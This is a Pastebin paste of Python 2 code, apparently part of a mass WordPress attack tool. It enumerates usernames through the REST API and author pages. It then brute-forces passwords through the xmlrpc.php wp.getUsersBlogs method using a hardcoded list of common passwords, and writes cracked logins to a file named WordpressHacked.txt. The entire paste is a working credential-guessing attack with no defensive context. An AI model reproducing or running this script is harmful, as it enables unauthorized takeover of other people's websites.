SHARE
TWEET

Untitled

RaiC0d3r Sep 22nd, 2019 144 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. def wordpress(site):
  2.     try:
  3.         usernameWp = UserName_Enumeration(site)
  4.         if usernameWp == None:
  5.             username = 'admin'
  6.         else:
  7.             username = usernameWp
  8.             #print '[{}Wordpress]: {} {}      ==> {}{} {}{} BruteForce     {} User Found  '.format(sb, sd, url,username, fc,fc, sb,fg)
  9.        
  10.         password = [username, username+"123", username+"12345", username, "pass", username+"@123", "demo", "admin123", "123456", "123456789", "123", "1234", "12345", "1234567", "12345678",
  11.                 "123456789", "admin1234", "admin123456", "pass123", "root", "321321", "123123", "112233", "102030",
  12.                 "password", "pass", "qwerty", "abc123", "654321", "pass1234", "abc1234", "demo1", "demo2",
  13.                 "demodemo", "url", "shop", "password123", "admin1", "admin12", "adminqwe", "test", "test123", "1",
  14.                 "12", "123123"]
  15.  
  16.         for passwd in password:
  17. #        sess = requests.session()
  18.             Headers = {
  19.                 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',
  20.                 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
  21.                 'Accept-Language': 'en-US,en;q=0.5',
  22.                 'Accept-Encoding': 'gzip, deflate',
  23.                 'Content-Type': 'application/x-www-form-urlencoded'
  24.             }
  25.             GoD = '<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>'+username+'</value></param><param><value>'+passwd+'</value></param></params></methodCall>'
  26.             GoT = requests.post('http://'+site+"/xmlrpc.php" , data=GoD ,headers=Headers ,timeout=20)
  27.             if 'isAdmin' in GoT.text:
  28.                  print '[{}Wordpress]: {} {}      ==> {}@{} {}{} BruteForce     {}{} Found  '.format(sb, sd, site,username,passwd, fc,fc, sb,fg)
  29.                  open('Results/WordpressHacked.txt', 'a').write(site+'/wp-login.php' + '==>' + username + '@' + passwd + '\n')
  30.                  q.task_done()
  31.                  os._exit(1)
  32.             else:
  33.                  print '[{}Wordpress]: {} {}      ==> {}@{} {}{} BruteForce     {}{} Failed  '.format(sb, sd, site,username,passwd, fc,fc, sb,fr)    
  34.     except:
  35.         pass
  36. def UserName_Enumeration(url):
  37.     Headers = {
  38.         'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0'
  39.     }
  40.     _cun = 1
  41.     Flag = True
  42.     __Check2 = requests.get('http://'+url + '/?author=1', timeout=10, headers=Headers)
  43.     try:
  44.         while Flag:
  45.             GG = requests.get('http://'+url + '/wp-json/wp/v2/users/' + str(_cun),
  46.               timeout=10, headers=Headers)
  47.             __InFo = json.loads(GG.text)
  48.             if 'id' not in __InFo:
  49.                Flag = False
  50.             else:
  51.                Usernamez = __InFo['slug']
  52.                return Usernamez
  53.             break
  54.     except:
  55.         try:
  56.             if '/author/' not in __Check2.text:
  57.                 return None
  58.             else:
  59.                 find = re.findall('/author/(.*)/"', __Check2.text)
  60.                 username = find[0]
  61.                 if '/feed' in username:
  62.                     find = re.findall('/author/(.*)/feed/"', __Check2.text)
  63.                     username2 = find[0]
  64.                     return username2
  65.                 else:
  66.                     return username
  67.         except requests.exceptions.ReadTimeout:
  68.             return None
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top